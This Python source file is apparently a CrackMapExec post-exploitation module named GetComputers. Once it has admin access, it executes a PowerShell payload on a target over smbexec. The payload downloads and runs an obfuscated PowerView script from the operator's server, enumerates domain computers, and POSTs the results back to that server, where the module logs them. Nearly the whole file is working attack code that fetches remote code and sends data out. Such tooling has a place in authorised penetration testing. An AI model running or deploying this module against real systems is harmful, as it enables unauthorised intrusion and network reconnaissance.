102 lines
3.7 KiB
Python
102 lines
3.7 KiB
Python
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from cme.helpers import create_ps_command, obfs_ps_script
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from StringIO import StringIO
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from datetime import datetime
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class CMEModule:
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'''
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Wrapper for PowerView's Get-NetGroup function
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Module by @byt3bl33d3r
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'''
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name = 'GetComputers'
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def options(self, context, module_options):
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'''
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COMPUTERNAME Return computers with a specific name, wildcards accepted (default: all computers)
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SPN Return computers with a specific service principal name, wildcards accepted (default: None)
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DOMAIN The domain to query for computers (default: current domain)
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'''
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self.computername = None
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self.domain = None
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self.spn = None
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if 'COMPUTERNAME' in module_options:
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self.computername = module_options['COMPUTERNAME']
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if 'DOMAIN' in module_options:
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self.domain = module_options['DOMAIN']
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if 'SPN' in module_options:
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self.spn = module_options['SPN']
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def on_admin_login(self, context, connection):
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powah_command = 'Get-NetComputer'
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if self.computername:
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powah_command += ' -ComputerName "{}"'.format(self.computername)
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if self.domain:
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powah_command += ' -Domain {}'.format(self.domain)
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if self.spn:
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powah_command += ' -SPN {}'.format(self.spn)
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powah_command += ' | Out-String'
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payload = '''
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IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
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$data = {command}
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$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
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$request.Method = 'POST';
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$request.ContentType = 'application/x-www-form-urlencoded';
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$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
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$request.ContentLength = $bytes.Length;
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$requestStream = $request.GetRequestStream();
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$requestStream.Write( $bytes, 0, $bytes.Length );
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$requestStream.Close();
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$request.GetResponse();'''.format(server=context.server,
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port=context.server_port,
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addr=context.localip,
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command=powah_command)
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context.log.debug('Payload: {}'.format(payload))
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payload = create_ps_command(payload)
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connection.execute(payload, method='smbexec')
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context.log.success('Executed payload')
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def on_request(self, context, request):
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if 'PowerView.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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with open('data/PowerSploit/Recon/PowerView.ps1', 'r') as ps_script:
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ps_script = obfs_ps_script(ps_script.read())
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request.wfile.write(ps_script)
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else:
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request.send_response(404)
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request.end_headers()
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def on_response(self, context, response):
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response.send_response(200)
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response.end_headers()
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length = int(response.headers.getheader('content-length'))
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data = response.rfile.read(length)
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#We've received the response, stop tracking this host
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response.stop_tracking_host()
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if len(data):
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def print_post_data(data):
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buf = StringIO(data.strip()).readlines()
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for line in buf:
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context.log.highlight(line.strip())
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print_post_data(data)
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log_name = 'Computers-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
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with open('logs/' + log_name, 'w') as log_file:
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log_file.write(data)
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context.log.info("Saved output to {}".format(log_name))
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